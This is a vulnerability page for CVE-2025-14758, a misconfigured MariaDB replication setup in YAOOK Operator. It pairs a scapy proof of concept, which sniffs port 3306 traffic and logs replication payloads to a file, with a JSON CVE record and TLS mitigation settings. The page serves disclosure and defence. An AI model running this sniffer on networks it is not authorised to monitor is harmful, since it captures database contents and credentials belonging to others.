CVE-2025-14758

# CVE-2025-14758 PoC - MariaDB Replication Traffic Interception # This PoC demonstrates the concept of capturing unencrypted MariaDB replication traffic import scapy.all as scapy from scapy.layers.inet import IP, TCP from scapy.layers.inet import Raw def capture_mariadb_replication_traffic(packet): """ Capture MariaDB replication packets on port 3306 Note: This requires attacker to be on-path (network adjacency) """ if packet.haslayer(TCP) and packet.haslayer(Raw): src_port = packet[TCP].sport dst_port = packet[TCP].dport # MariaDB default port if src_port == 3306 or dst_port == 3306: payload = packet[Raw].load # Check for replication protocol signatures if b'binlog' in payload.lower() or b'@' in payload: print(f"[+] Potential replication traffic captured from {packet[IP].src} to {packet[IP].dst}") print(f"[+] Payload preview: {payload[:100]}") # Log for later analysis with open('captured_replication.log', 'ab') as f: f.write(payload) # Sniff for MariaDB traffic (requires root privileges) print("[*] Starting MariaDB replication traffic capture...") print("[*] Press Ctrl+C to stop") scapy.sniff(filter='tcp port 3306', prn=capture_mariadb_replication_traffic) # Mitigation: Enable SSL/TLS for MariaDB replication # Add to my.cnf: # [mysqld] # ssl-cert = /path/to/server-cert.pem # ssl-key = /path/to/server-key.pem # require_secure_transport = ON # master_ssl_verify_server_cert = 1

{"cve": {"id": "CVE-2025-14758", "sourceIdentifier": "[email protected]", "published": "2025-12-16T01:15:47.267", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect configuration of replication security in the MariaDB component of the infra-operator in YAOOK Operator allows an on-path attacker to read database contents, potentially including credentials"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1188"}]}], "references": [{"url": "https://gitlab.com/yaook/operator/-/issues/631", "source": "[email protected]"}]}}